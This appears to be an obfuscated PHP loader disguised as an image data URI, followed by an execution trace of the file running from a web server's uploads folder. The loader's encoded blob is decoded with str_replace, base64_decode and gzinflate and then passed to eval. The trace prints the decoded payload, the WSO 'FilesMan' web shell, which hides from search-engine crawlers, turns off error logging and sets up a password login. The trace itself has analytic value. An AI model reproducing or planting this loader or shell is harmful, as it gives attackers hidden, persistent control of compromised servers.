SPhjDoZbGqv8eJbtl287068HkYDOwi6kdelWO7pV2cTynhanZrbvzRMPVJmkUfmP6cFvX4f8itRuqkAnz1WO#6lkVMp1b50AGxuCBnU#sNafyLOJx3TbIt1TAYuee7ANucqa02ErZ18lhFWsb58AhmWwRLDMANxv1BskJqIOK73F74mfh6cR#fn5nndqEjHJs2f1Vip%dofnIePymf%p33xqFJaMapJESBcWSnuBRk%hHu2dGSN7QYpLyEesgG#l%UTvNHvog017RVmmG1DV1rrnQcDB%OE998jKow9p4pkIUE2eK576vnkuJpOf03reTsxBpmg5ErdQLtFionC43uKCCkEIs0BYl4lGVZw1C#%5DPy%bmM%NUTmnzN2ia9bzEkFH#Weg#fM6gw8atv#SDRbEoMy%Sn9vvel5dHnw4BET56DCwailseO3wvbcqcWcD3eEq0XPplvnZgNm4AU5U#Y3aNB4ttwbdL#2YX5C%XcPL94xOhYJsFq6uCKeH7dqdOq4xSPOgzBx0#gcQzgKOgJnLRgd#0QRWLjKxio66q4PtXXgXsTBGL8JX#odqIYrztH0vawaAM0FQhYfc9n7iI%5iFY8pOJPBzCe9ajaLVBgpxtbwZCXONkOWFPvux33R%qK2J5AieEEKdc5PW2nOz8j0zxTr4vl47VYLSks8dYKu5#mWilC9QFSUhy0r%8Mp3S1uUkyX4z3Dszbv0LnYoCz1rtOiZv%Yt9vz30T%BwNKrue6JYbmOFW4nXkqNX2XFPDsUd5em4ulU5Xt4RUY%ecFKDFP6McDVvK3hFGb1Ki7x6hVAvszr98eVEMw#kJtFeEUbCjhfTJPv3yKWeMsgHxrU9h29WRQBaqWrx0Gloae2a8PKEwuHNV2GJ9xvYH8Ah6HvmJh4ybHQDRHJl6HP0KD2XHk53Cl#L56ZonLp8UgRQdgsxKAgO292PrPierUm6NXn7bf#85#laEruanKIC2z#Bg%jkBj5BL7hgxZl3GxV4sdb1zQlVEL1xGnnkkHp#L0A0K32POCaSaveFg8z1tsG#RN7U%dGmr#Kb9TkK6CMpXc1qfBesQ4q#Twlkdpq#NcMhKYzYD8Nhpvt7KOVm5uQypsVeX6r7l#3ky9Y1nNfZjTwZosKmaQSIal0R6gkEF0pGrFOQoBvFv3cRr88WDPR76Rj4FJLi2rbKDjxy34QXjTa42HbSogPYY0Ly5WkhvSOkwN%c1odHJbZqxRcsqPjf#%GXjFzK4pfr6bK#G2wdHSmGwxKzgWvDIJB21hpDTJXzsvng0fnlfOw9uuKuO7Xpagz3W6Fn16JjhO8rihezx6YCW9t3pMcO6P5umIq364ERSuKIu1#ZH7s#pnTdwaFazang0Vjm79p84zU2nfZUKFqMoh#scU1moLDoDxv%eE6R086xvn144HlnDc2N4w2JXpRJ35R9vx6c%38emMTfp03ms0ufLd33mGKoYWxMyBv%bxRB9DN5gH8U4f%NrrnjcZjSG3A380944LQv204UGdjoxGcNx43rfPGb43z#kYdZznVzYEcTwRFRVDA#rhhVJHSPvz3FL82Nh6fX%%2G#IA0hvwfQOyNimrXoc%V%jz%LppGxVC6dYPOgL1WfOiJr#ux18b8deN#Gudk#1#20WrMvVZWeCrivZUBel4iExz8V8u90OjAWYve7v0FwUe7pLJG6otfyCHqR8BPsagxfIQRXlEHXHwKuE2Z3VbuGYpZLcPE6FbKLR5uYTB%Ko8vB0a%wAXhsHoUVBAwiYt3jFSUY2Ms4Qh3UX4GFI5CUiaGOgZdqMFcBf18ep4bXQgZhW58cKfQlWkqZdFpJqRVhVh0qIeYvRLRonSAkTeP5iAJ08mv3U2N9ab7UJy46DxZQNLdL7zgvWLW4YhpeXvBvzGVvDYdIxiwIKE7lCjGO%AjuhI4672kUYr#fxFarz4dmzQKwNKsYm858CwshgKjqorcFX#GV1%zewAFm44%BZTxQqpkg#AcOCArp8IKjXES7FDLioYTIEnHuRqPs67m0oxusvSGY%XgJkYgrYLextYM5%Rb9QO4B33eqUVk9O#95AJYkR%UO1d4C2vX8bK79Ur2BF3I7i7C1wnjF72wvI9OTDtyyk%yTHjI2WcvD76FD#gIO3B9x%8FNa9t3u7p4iXVPH7x0fvGHSKrId9er13vIfZDkY0gW1CZK90zMjM1r9cL51SjPr7dtRyjTGpi053XrzdOzH%pf4Rx1zaKdLlZUbBS7XXc7oUCdaq8ej7bD7G8JwcnufQRidbwGQ7hy#zgChnofNdb%RDfUw7rn%SvWJaCTz36EScS7DkRkVFl5Hl0S5X3N4hOBeuswVPsYSomhRqYWWHSbZZAyECqvoaqNwnYjtNivn2Ttnu651j%GvW7i2gsfvC#P0XMrfAWSkhodmPimgZevKH#zU5UbjEzxUkb492XtKBoWwaNTj8SY07VVwzzAqqgdCgY1SWYq5kJbvHezune3yK42mhSd66DM#Flfbu0fsvlMilWH79bTGhqRxNZSzRllMN1i%tYR%8cB#QktNJtF1xUCkQ7wGc8YtnF#0cus1B4PlMxHSA6lQYNtGtwu#CEHS2ZbAX%kRpkO2nu8cbnUFgfLBCvKSK2nk99uW9hr5UKGkTo%En8DxVWDP%VO0r8aihUDyxWPMoHtpaW4JMrIOD49HCaBeGapc#OprrE0MElXZsIi3zhLyxEIz6K#eSNNl5FdLbj%WCPLx%QS#gqW2i5BgRXDTJNotCRPFOMAsizcumO#xnho8O0GOVd8VySpK3EJLXjv1e2PP4wffTxNh67mwyTcaUoI9SAlMXUNwyjFq2TNiqKwpbgyf0u0PJEfqz0iVd4Tj88PbtAqrxE8eppEdjr5aIVqdXUbq6G%39aAYJJVYeDMnW5ZGguiCoSO5fobgyZJ#q7uYvbf1p1EqXNfgj84tjaGG3IhfcySrIAGhJPjg82Ts#ZQeHp0eJ6cHKZk3JpipDK56gCd8pYx933n7YO2HAPnBCTANSUNqaWVnA20SDYFch1YrACq5C5bUGjbdR9YcIuo#cKSTDkY5fBSPEz#I4PPeiQ0zTBCkq7b7LakokyiFPr4BF8uwfiAPJ26lZoa%bi6ZB6fJu9pdSVefqmKkX8bSpeDoLJNmnbS54U#S#TCRastxif9vG4D49YW1W6i6hYBXxCLgVYdFtTLw8m7iKBqc7vkVSr4UPeqvbSk0lIFFo8ecuYq82TINjizNNJ6LmJ52Gh0t5pwwriPU4eUCyN1O3TOJL4ynZRhxvfCJ7erjaaG42jBYT9agzhtn3MQcGUTpsZlGQ80he2Vk0fLKw5O9HB09Wj%OKXnrOk#Dush#Kys4Wlu37Tx4%zm8tZOQUjadOxv2C72gzm5a77t%qsPe%iIt71xqMvnEHJn7RFbf#a75rOdM0fDpOedRzhRH6im%eqYf4TvkqVZZ7pageUpEm8zzIeSfxu6bpnlpIA0t9dHpo155ukO5ErmfISI65DyjlrJUJT1ILhg5Gkh5oWGF6hEB#SmsLrxSQ#hjutobGv%JqI#VPmn8%1nhI1hsQwL0AJmJxpEQ9XJ0ZDk0ZrQ4ftInM2A3DHIbkGwFyd1vzV9Yi36Uj45Fx8SE96wX8oqyK#ASa#vEWhZb69V5orFXCS6ELi02SifdWHt4VbQPaX%iYiy8fIjNpKTaLAVXYgWKYvhZeY7mAHf#1cB08HAh%B0cP2UHrUiYkBx03WRwC4nlyGetIkAo3CXKM9gD2bpzNtukd3aJQGnzjg#hzUfPsQtTyRVwdv3ICQUZ4WGyllqukoOTcMGRQo5yFtPKMHhJ16Ver0BVaK4C9fG4sRQWty3eQIdZuoAMfFb2DBAl8DxrIALSYBL5TAAruqF3A6ZVj3RTwkIcNNIrpIL22mkzineMke#udLD2V%pvboJReJm97ozby99%WxEWX3c7EJZbfxqTKLLV9icssvW2RW2ICVHYXSpdunJrAkX2clgnmth6VJnvIQeSpIw7WRSHTYQRFBPYOiw82un9u1tuMl8DwbBj8TTgQZhnhWSyAhBNSXDThkpa6QibkkXzj%kF8VQCnA67PQm2tp8k4PDhzkfSF74VhvJk4biksw4NaOKRlmMqn9zKLQ9lxwzc#WyiQe1OKMpUjEQhMiARY3IWHFoXM2ebBS8nvYzqb9OyAeUOGGw3VJlqkH9JfcvXBr9LLVyc37A56uMw910#e2WmK#uPklkzZQMNyblh2tEfUJAbukbfSwdoAmA1rcmMjLKYRvd3Fvt8WKj6HNb8Bh0n4N3aFXwDbJNjmUrDrBLu#ADbzfKVuu4nKUdWVcwWZQ9GIp29xpGxruU2VG2WrApJcPJtyUCBNfFFlXA0V78Oydq9JkeUoU2Mi6DMUUkGYcVN#dmFeyNDPjx7JS#X5cMmYzit3AimqEg7J8ZKDvAAtFfJsekkLjpib3LNQiwWNvm2JLW8z6VgnpFnWdVBfbL7Hx5%Fx#4HsVBNuOjJcAWm5vPXjH0EHz9#jIKBLvNxe6#MBiIjRgh9Tgl6C8MlhFLk6hZiDlIol1XZWAd1t4Qu4P6cvpJyZ8Fj0NMUQfg1qVDbPfpweFr#lWxeU6VcE%LcVAHqS5Kpc3ySue#wMD3yocg46MZRyOUum5gw3r2LKlWQsaxv3LkBXadDVhsV2FnFCegid6eI5tjNlsG2wonlutvl76XpmQk7oVs8L1ISD5AWu85ua%dRVRPzG6eWH5zVwGEsxwlbtPkl3oaOC6jrCZrggTar0ItGW4dQ8sQkAilmAL1Hl7#nJFOijB0olBdmfDF1iakiuiARN036bEplnLornIzCJs6NRe9XJGIP6D#f6T8ooqSSCXfzMAYmS2obeGlYhVObJ5njWyOa5X0bH6IEOOIKtsbW6wXTMnknh6SsUgPEa#V3YFs4TKQIQg47N6rJRaNyG194JGGkeUo30VNaRixCphUE4rWHPgxcWGHv8b3QnwqCAmIvys0eTpJMEBK#YSnQE%Om4uaF99MCu6c#oNusUSydBM7sTDeLesyEDjN52MK4ktUGUV4ByeFGbfY#sK9IEixH4ZZo0H#dzEeKzEMck19GUXsBmYkGrraV50iRakBaOFIhpzJWE52bTPb24N3BKfA3O9rf5z4hCZJ%Xa8rua65lCys4890JX#KWnJw18zqet1Mrhx5EjdpH5BSh0uVhTda0wLjeZ5IkAdnXOPzXuCkMM6xwe9BTK2Zv#%JD03QlJGULGdaGErpp#ZT%J8KnoTxLJwp1i7F36JT4ANlrSKTHRGuJcbRvWP0uaYv#4ZfgSKRpABV8TGe#ACIwv#OdVzQhbhdTDwAKnuwo7kfxMikhlJDIlvcVEm3D5OFokD0peECJQhOt6JiA5zAQH87ncazplo97m5vbPLjl7%4vkca%DOdgWfIbczbWnP4gqo1RX%SUy9i1qZusxeUizZTMrKyWdgFa3qf3T5M5WlRIh5oT6frQPzp4m3Sqbcwflpe6ELiLuErlwqmJWtN7Il6cZTX5H19M3Hagm0NzUfc0yS2O3THj7J4Qv6WJ2FpNNOxdYRckHsa7b7NmAf4gO%4lkyO4M25zdSU0Xsz10JwUybediheMYujRSQtIMm1Rr%rRMerQo3H3rXdn2FAYyNxElLK%%iudZwlou%yYUL0qZ7IW2WEbjtHe6BJV#lf1#ArAZWhd#iFh24fFk4rKv#JSX%CCvncrLI%UTX5Jx6CPpzsHcNBGB1O%8TtbNcPnKs%cYG5MdN2M0mmLvwW7dDuYEY5lKk9dpIth%dhSdqlvQW0ZKGSuzYxjvKZJArIejCFQ0B6t75YxyUHLzVuMiJYdqWMWVVe4afzgDzQKsfL7OKogiiubafDIea9oABYlEW2lohKePswlkN3zBBd5ohYEXdGw0jd0Tm0o7kXXHK9StLoV8I1V14T6fod4#Bm72rw#fDmbfON33Oezr9#fhO#%MNv9JsfRh#aT79ZzY%1o3n99zev3PHXV8c37z#5s6#fj4dfPh9f9ZzR5R8f37z#6IbzzyeXo#Hr#ejrK9f9fffNfn%65qr%zRu92d3v95wDn3C8fsFxfD68#tKM6Pvnpjv7fff4xYfLwadPf#8P3u7uXFqf9i#%vj7wD15fPzl4dex%PRk5x5%f3PTWDx4f7P4x%vxqw%n9NDzcdY7n%cnTeu%vxhRo4t#bbzZ7k%0IykwHrw7nb24uf4P2%N1rHgZfP%%hfag%fXlS%%jh7e6LP47dp29OL#n76Wn98O3nxuGHD5cfX5yezEdAK9R3fPX7yYsnw90XQNMH7#Dy4w3UcXPk7FwefLyeHTiE#1uvuTn7#umw%vv#4fs%6tH#x10qT#1bovxV%9XHGZT9cLznHkH7nffOV6Ln#OMfvJ0TGJdPG96HxvHeaQPpXQxz%PHNSS7M9HCzv37s9qBvxHj%be3uRNZJn8bnS%P6CsadcJx82MikYd28rsOwt37ocpo%nnyAdsBsfFjqOdNBF68aFXOWd%mhPt4%3Zs%PXCeOtanDcA#Gr39dOlgbdanL6Pf914QNxy8nI%eAVfZNy9c#5Vb%%3lnn908#JpHnf2xfff99#Fb9wXrz7X3SNoNXynERkC9SfHH%YP374auAMxsl#m7uzLpwZw66D#ZX1n#rvGwQe7b15##bRZP3h1ePP1037968kLwUHHyM3EUfCd0nrrL6he4Kx3wEGCA65PTxtPT44%fjyFeveO9w9CaAuWgzZvXiI8pxk5%c0Q#sF7s7d%ctz42nu3Xw9PPmy#gHE8#VzfP%p0cqnNhB3nj#b#bLD7grjm4DX8nSqaQuvzYZ244Gb#t8Z5o4PLw3Fv#seo98r9e5Att269ckOYMddQBn57b758Ovz29TO0a#%w%enlRviBZpH3BsbHOzgZXfZfuZfvP3296k9CX5bZ%RTT14OZePCK8p2DV#7kYHcEs#HjBNrufoUZjuWJk0aXb6D%3J7z4vTj3vGbU2fuvN%9#vK0vnl08C2T%%4jjOnBt43JH%WnR6dEO9ZLnD#KOf%g0ZtLopt4avcPF%jn47eD3ePTk72P7053437pvwbehH7h#FTfEvzg87GryuzDbBX0iBnBy4i0r5%H%mB3Z071fa7DTKt3VFALA10shExeHIb84QPdy2I6JAXZCV#2zxOXY82e75s8KATOt9yATucGvceBa#8LmJh0BxBvyK%BNF0Lx#zMtwP3Itb7rgH4e4BJvqtg4sIs1ZaIQmkt1xvr67#ldHzZ1RpI4Ov1fRrXl42DvdKVHegxMJZqLixyq2KRY7ntPCG8C1rKK9Y0tCy#C3689#7odK#78%LlMSo8DOiD%2K%SX1AxgSuxRqIL8eiC1S1FMm7fnPNG2pIQUqZF0BK#gYOxaIEalQsSi3a5lyYI1Qk03mVgro%3ujK5yWiTBzNeSI4f#5dd2RhQSeQbaxFE3#t59d816jqK4kIbIlBHTrifV4DR5TFBVhaUcga22sD#2oN2YnCbrFf0pvo0LVtv9xI2KWTezysMo7NYPghs2bX7D9sFNg#44RWUCeJ2zwj7e9FV%f1NlXai7qin9MVfdEViR3bHb3Rz#0NLWH9%1H39Jfvnr7ePffe7B7vqndRVlIvNpBvrKXcnbElxoxuNaPCwx%7XfpV5s8qGpgAcx4jREsA8VNC4HsyOsSnk6MuSISTg6NDDhBaQ3sCM4JynztTB2%Ulk1MxjdK#WN9WuAt9SxyydJeZCDzIoiC7IsN0PxsyH1LxM7XDJY87mmX9xCd4DMznueRoSAFrgfvt7hZIgnRjiPpJ8DME7t%MB16JvlxpdWSltAlLKIk1aK#5bpdPC93sVARZPshOYP#Xw==">';
preg_match('#<img src="data:image/png;(.*)">#', $z, $y);
$x = $y[1];
$v = pre_term_name($x);
if (isset($v)) {
    eval($v);
}

Execution traces

data/traces/f4ade55fc27c7aa5290569e64f810845_trace-1676237468.862.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:31:34.759849]
1	0	1	0.000184	393512
1	3	0	0.000315	422304	{main}	1		/var/www/html/uploads/alwso.php	0	0
1		A						/var/www/html/uploads/alwso.php	1	$z = '<img src="data:image/png;5X19Xxu30ujfyacQW7drN8bYBtLExiSEQEKaQArkFbju2l7bG9be7e4aQ3P47ndm9LLaN2PSnvs8v9%1OQ22NBqNpNFImhmNSn3P9QLWYcZPg#Gm0X5YGthDa#ZGXasfOd4Ucsx9x7XDd9bU1HJnod21vlnXkB8FM1vL6Y#tILQjLPjJmQ68ebjaaG42oPBDZ1hesSd#dFMudU%2jj%uHZ#Zr09P33c%wK%uzqu9w1PzolJh3x8y#JSgjmBnZE#jEJBZQWDdlI1XnjdybaPKjBN3Fvj45d3J4Qsvwm#O1bWC%ti5sgP8#cWaDuxr%HZsTXouJFbahBno8AN71J1YUX9cNtdMVmPOxHe9gV02%2NW9aorkGeuOZi4BM34GdvWwA7KBLXWqNXZRn2DHXoR2%dm04EpaMCPfe1E%Nftw9uHz52p04WeK5t2EHhB1%VGZvXww9u3UCLOg9Qu5YdmtZ7ImVjXXfva7s9w3Lq'
2	4	0	0.000374	422328	preg_match	0		/var/www/html/uploads/alwso.php	1	3	'#<img src="data:image/png;(.*)">#'	'<img src="data:image/png;5X19Xxu30ujfyacQW7drN8bYBtLExiSEQEKaQArkFbju2l7bG9be7e4aQ3P47ndm9LLaN2PSnvs8v9%1OQ22NBqNpNFImhmNSn3P9QLWYcZPg#Gm0X5YGthDa#ZGXasfOd4Ucsx9x7XDd9bU1HJnod21vlnXkB8FM1vL6Y#tILQjLPjJmQ68ebjaaG42oPBDZ1hesSd#dFMudU%2jj%uHZ#Zr09P33c%wK%uzqu9w1PzolJh3x8y#JSgjmBnZE#jEJBZQWDdlI1XnjdybaPKjBN3Fvj45d3J4Qsvwm#O1bWC%ti5sgP8#cWaDuxr%HZsTXouJFbahBno8AN71J1YUX9cNtdMVmPOxHe9gV02%2NW9aorkGeuOZi4BM34GdvWwA7KBLXWqNXZRn2DHXoR2%dm04EpaMCPfe1E%Nftw9uHz52p04WeK5t2EHhB1%VGZvXww9u3UCLOg9Qu5YdmtZ7ImVjXXfva7s9w3Lq'	NULL
2	4	1	0.000463	471960
2	4	R			1
1		A						/var/www/html/uploads/alwso.php	1	$x = '5X19Xxu30ujfyacQW7drN8bYBtLExiSEQEKaQArkFbju2l7bG9be7e4aQ3P47ndm9LLaN2PSnvs8v9%1OQ22NBqNpNFImhmNSn3P9QLWYcZPg#Gm0X5YGthDa#ZGXasfOd4Ucsx9x7XDd9bU1HJnod21vlnXkB8FM1vL6Y#tILQjLPjJmQ68ebjaaG42oPBDZ1hesSd#dFMudU%2jj%uHZ#Zr09P33c%wK%uzqu9w1PzolJh3x8y#JSgjmBnZE#jEJBZQWDdlI1XnjdybaPKjBN3Fvj45d3J4Qsvwm#O1bWC%ti5sgP8#cWaDuxr%HZsTXouJFbahBno8AN71J1YUX9cNtdMVmPOxHe9gV02%2NW9aorkGeuOZi4BM34GdvWwA7KBLXWqNXZRn2DHXoR2%dm04EpaMCPfe1E%Nftw9uHz52p04WeK5t2EHhB1%VGZvXww9u3UCLOg9Qu5YdmtZ7ImVjXXfva7s9w3LqRM7EFBOTSz67rTJyoTGkwWs4U'
2	5	0	0.000518	471856	pre_term_name	1		/var/www/html/uploads/alwso.php	1	1	'5X19Xxu30ujfyacQW7drN8bYBtLExiSEQEKaQArkFbju2l7bG9be7e4aQ3P47ndm9LLaN2PSnvs8v9%1OQ22NBqNpNFImhmNSn3P9QLWYcZPg#Gm0X5YGthDa#ZGXasfOd4Ucsx9x7XDd9bU1HJnod21vlnXkB8FM1vL6Y#tILQjLPjJmQ68ebjaaG42oPBDZ1hesSd#dFMudU%2jj%uHZ#Zr09P33c%wK%uzqu9w1PzolJh3x8y#JSgjmBnZE#jEJBZQWDdlI1XnjdybaPKjBN3Fvj45d3J4Qsvwm#O1bWC%ti5sgP8#cWaDuxr%HZsTXouJFbahBno8AN71J1YUX9cNtdMVmPOxHe9gV02%2NW9aorkGeuOZi4BM34GdvWwA7KBLXWqNXZRn2DHXoR2%dm04EpaMCPfe1E%Nftw9uHz52p04WeK5t2EHhB1%VGZvXww9u3UCLOg9Qu5YdmtZ7ImVjXXfva7s9w3LqRM7EFBOTSz67rTJyoTGkwWs4U'
3	6	0	0.000556	471856	str_replace	0		/var/www/html/uploads/alwso.php	1	3	[0 => '%', 1 => '#']	[0 => '/', 1 => '+']	'5X19Xxu30ujfyacQW7drN8bYBtLExiSEQEKaQArkFbju2l7bG9be7e4aQ3P47ndm9LLaN2PSnvs8v9%1OQ22NBqNpNFImhmNSn3P9QLWYcZPg#Gm0X5YGthDa#ZGXasfOd4Ucsx9x7XDd9bU1HJnod21vlnXkB8FM1vL6Y#tILQjLPjJmQ68ebjaaG42oPBDZ1hesSd#dFMudU%2jj%uHZ#Zr09P33c%wK%uzqu9w1PzolJh3x8y#JSgjmBnZE#jEJBZQWDdlI1XnjdybaPKjBN3Fvj45d3J4Qsvwm#O1bWC%ti5sgP8#cWaDuxr%HZsTXouJFbahBno8AN71J1YUX9cNtdMVmPOxHe9gV02%2NW9aorkGeuOZi4BM34GdvWwA7KBLXWqNXZRn2DHXoR2%dm04EpaMCPfe1E%Nftw9uHz52p04WeK5t2EHhB1%VGZvXww9u3UCLOg9Qu5YdmtZ7ImVjXXfva7s9w3LqRM7EFBOTSz67rTJyoTGkwWs4U'
3	6	1	0.000651	496528
3	6	R			'5X19Xxu30ujfyacQW7drN8bYBtLExiSEQEKaQArkFbju2l7bG9be7e4aQ3P47ndm9LLaN2PSnvs8v9/1OQ22NBqNpNFImhmNSn3P9QLWYcZPg+Gm0X5YGthDa+ZGXasfOd4Ucsx9x7XDd9bU1HJnod21vlnXkB8FM1vL6Y+tILQjLPjJmQ68ebjaaG42oPBDZ1hesSd+dFMudU/2jj/uHZ+Zr09P33c/wK/uzqu9w1PzolJh3x8y+JSgjmBnZE+jEJBZQWDdlI1XnjdybaPKjBN3Fvj45d3J4Qsvwm+O1bWC/ti5sgP8+cWaDuxr/HZsTXouJFbahBno8AN71J1YUX9cNtdMVmPOxHe9gV02/2NW9aorkGeuOZi4BM34GdvWwA7KBLXWqNXZRn2DHXoR2/dm04EpaMCPfe1E/Nftw9uHz52p04WeK5t2EHhB1/VGZvXww9u3UCLOg9Qu5YdmtZ7ImVjXXfva7s9w3LqRM7EFBOTSz67rTJyoTGkwWs4U'
2		A						/var/www/html/uploads/alwso.php	1	$a = '5X19Xxu30ujfyacQW7drN8bYBtLExiSEQEKaQArkFbju2l7bG9be7e4aQ3P47ndm9LLaN2PSnvs8v9/1OQ22NBqNpNFImhmNSn3P9QLWYcZPg+Gm0X5YGthDa+ZGXasfOd4Ucsx9x7XDd9bU1HJnod21vlnXkB8FM1vL6Y+tILQjLPjJmQ68ebjaaG42oPBDZ1hesSd+dFMudU/2jj/uHZ+Zr09P33c/wK/uzqu9w1PzolJh3x8y+JSgjmBnZE+jEJBZQWDdlI1XnjdybaPKjBN3Fvj45d3J4Qsvwm+O1bWC/ti5sgP8+cWaDuxr/HZsTXouJFbahBno8AN71J1YUX9cNtdMVmPOxHe9gV02/2NW9aorkGeuOZi4BM34GdvWwA7KBLXWqNXZRn2DHXoR2/dm04EpaMCPfe1E/Nftw9uHz52p04WeK5t2EHhB1/VGZvXww9u3UCLOg9Qu5YdmtZ7ImVjXXfva7s9w3LqRM7EFBOTSz67rTJyoTGkwWs4U'
2		A						/var/www/html/uploads/alwso.php	1	$b = 'base64_decode'
3	7	0	0.000742	496432	base64_decode	0		/var/www/html/uploads/alwso.php	1	1	'5X19Xxu30ujfyacQW7drN8bYBtLExiSEQEKaQArkFbju2l7bG9be7e4aQ3P47ndm9LLaN2PSnvs8v9/1OQ22NBqNpNFImhmNSn3P9QLWYcZPg+Gm0X5YGthDa+ZGXasfOd4Ucsx9x7XDd9bU1HJnod21vlnXkB8FM1vL6Y+tILQjLPjJmQ68ebjaaG42oPBDZ1hesSd+dFMudU/2jj/uHZ+Zr09P33c/wK/uzqu9w1PzolJh3x8y+JSgjmBnZE+jEJBZQWDdlI1XnjdybaPKjBN3Fvj45d3J4Qsvwm+O1bWC/ti5sgP8+cWaDuxr/HZsTXouJFbahBno8AN71J1YUX9cNtdMVmPOxHe9gV02/2NW9aorkGeuOZi4BM34GdvWwA7KBLXWqNXZRn2DHXoR2/dm04EpaMCPfe1E/Nftw9uHz52p04WeK5t2EHhB1/VGZvXww9u3UCLOg9Qu5YdmtZ7ImVjXXfva7s9w3LqRM7EFBOTSz67rTJyoTGkwWs4U'
3	7	1	0.000839	521040
3	7	R			'�}}_\033����ɧ\020[�k7��\006���$�@B�@\n�\025���^�\033����\032Cs��wf��7cҞ�<��9\r�4\032���H�\031�J}�\002�a�O���~X\032�Ck�F]�\0379�\024r�}ǵ�w���rg�ݵ�Yא\037\0053[�鏭 �#,�ə\016�y��hn6��CgX^�\'~tS.uO��?�\035���OO�w?���Ϋ��S�Ra�\0372����`gdO�\020�YA`ݔ�W�7rm�ʌ\023w\026������\v/�o�յ��ع�\003��Ś\016�k�vlMz.$Vڄ\031��\003{ԝXQ\\6�LVc��w��]6�cV��+�g�9��\004�\031��\016�\004�֨��F}�\035z\021�fӁ)h��}�D����ۇϝ�Ӆ�+�v\020xA�Ff���۷P"΃�.�f��șX�]����pܺ�3�\005\004��Ϯ�L��Li0Z�\024Z\v�998:��\033�fm\02'
2		A						/var/www/html/uploads/alwso.php	1	$c = '�}}_\033����ɧ\020[�k7��\006���$�@B�@\n�\025���^�\033����\032Cs��wf��7cҞ�<��9\r�4\032���H�\031�J}�\002�a�O���~X\032�Ck�F]�\0379�\024r�}ǵ�w���rg�ݵ�Yא\037\0053[�鏭 �#,�ə\016�y��hn6��CgX^�\'~tS.uO��?�\035���OO�w?���Ϋ��S�Ra�\0372����`gdO�\020�YA`ݔ�W�7rm�ʌ\023w\026������\v/�o�յ��ع�\003��Ś\016�k�vlMz.$Vڄ\031��\003{ԝXQ\\6�LVc��w��]6�cV��+�g�9��\004�\031��\016�\004�֨��F}�\035z\021�fӁ)h��}�D����ۇϝ�Ӆ�+�v\020xA�Ff���۷P"΃�.�f��șX�]����pܺ�3�\005\004��Ϯ�L��Li0Z�\024Z\v�998:��\033�fm\02'
2		A						/var/www/html/uploads/alwso.php	1	$k = 'gzinflate'
3	8	0	0.001561	521008	gzinflate	0		/var/www/html/uploads/alwso.php	1	1	'�}}_\033����ɧ\020[�k7��\006���$�@B�@\n�\025���^�\033����\032Cs��wf��7cҞ�<��9\r�4\032���H�\031�J}�\002�a�O���~X\032�Ck�F]�\0379�\024r�}ǵ�w���rg�ݵ�Yא\037\0053[�鏭 �#,�ə\016�y��hn6��CgX^�\'~tS.uO��?�\035���OO�w?���Ϋ��S�Ra�\0372����`gdO�\020�YA`ݔ�W�7rm�ʌ\023w\026������\v/�o�յ��ع�\003��Ś\016�k�vlMz.$Vڄ\031��\003{ԝXQ\\6�LVc��w��]6�cV��+�g�9��\004�\031��\016�\004�֨��F}�\035z\021�fӁ)h��}�D����ۇϝ�Ӆ�+�v\020xA�Ff���۷P"΃�.�f��șX�]����pܺ�3�\005\004��Ϯ�L��Li0Z�\024Z\v�998:��\033�fm\02'
3	8	1	0.002107	582480
3	8	R			'$color = "#df5";\n$default_action = \'FilesMan\';\n$default_use_ajax = true;\n$default_charset = \'Windows-1251\';\n\nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n    if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n        header(\'HTTP/1.0 404 Not Found\');\n        exit;\n    }\n}\n@ini_set(\'error_log\',NULL);\n@ini_set(\'log_errors\',0);\n@ini_set(\'max_execution_time'
2	5	1	0.002255	533296
2	5	R			'$color = "#df5";\n$default_action = \'FilesMan\';\n$default_use_ajax = true;\n$default_charset = \'Windows-1251\';\n\nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n    if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n        header(\'HTTP/1.0 404 Not Found\');\n        exit;\n    }\n}\n@ini_set(\'error_log\',NULL);\n@ini_set(\'log_errors\',0);\n@ini_set(\'max_execution_time'
1		A						/var/www/html/uploads/alwso.php	1	$v = '$color = "#df5";\n$default_action = \'FilesMan\';\n$default_use_ajax = true;\n$default_charset = \'Windows-1251\';\n\nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n    if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n        header(\'HTTP/1.0 404 Not Found\');\n        exit;\n    }\n}\n@ini_set(\'error_log\',NULL);\n@ini_set(\'log_errors\',0);\n@ini_set(\'max_execution_time'
2	9	0	0.004431	1027536	eval	1	'$color = "#df5";\n$default_action = \'FilesMan\';\n$default_use_ajax = true;\n$default_charset = \'Windows-1251\';\n\nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n    if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n        header(\'HTTP/1.0 404 Not Found\');\n        exit;\n    }\n}\n@ini_set(\'error_log\',NULL);\n@ini_set(\'log_errors\',0);\n@ini_set(\'max_execution_time\',0);\n@set_time_limit(0);\n@define(\'VERSION\', \'4.2.5\');\nif(get_magic_quotes_gpc()) {\n\tfunction WSOstripslashes($array) {\n\t\treturn is_array($array) ? array_map(\'WSOstripslashes\', $array) : stripslashes($array);\n\t}\n\t$_POST = WSOstripslashes($_POST);\n    $_COOKIE = WSOstripslashes($_COOKIE);\n}\nfunction wsoLogin() {\n\tdie("<pre align=center><form method=post><input type=password name=pass placeholder=password style=\'background-color:whitesmoke;border:1px solid #fff;outline:none;\' required><input type=submit name=\'mypass\' value=\'submit\' style=\'border:none;background-color:#56ad15;color:#fff;cursor:pointer;\'></form></pre>");\n}\nfunction WSOsetcookie($k, $v) {\n    $_COOKIE[$k] = $v;\n    setcookie($k, $v);\n}\nif(!empty($auth_pass)) {\n    if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $auth_pass))\n        WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']), $auth_pass);\n\n    if 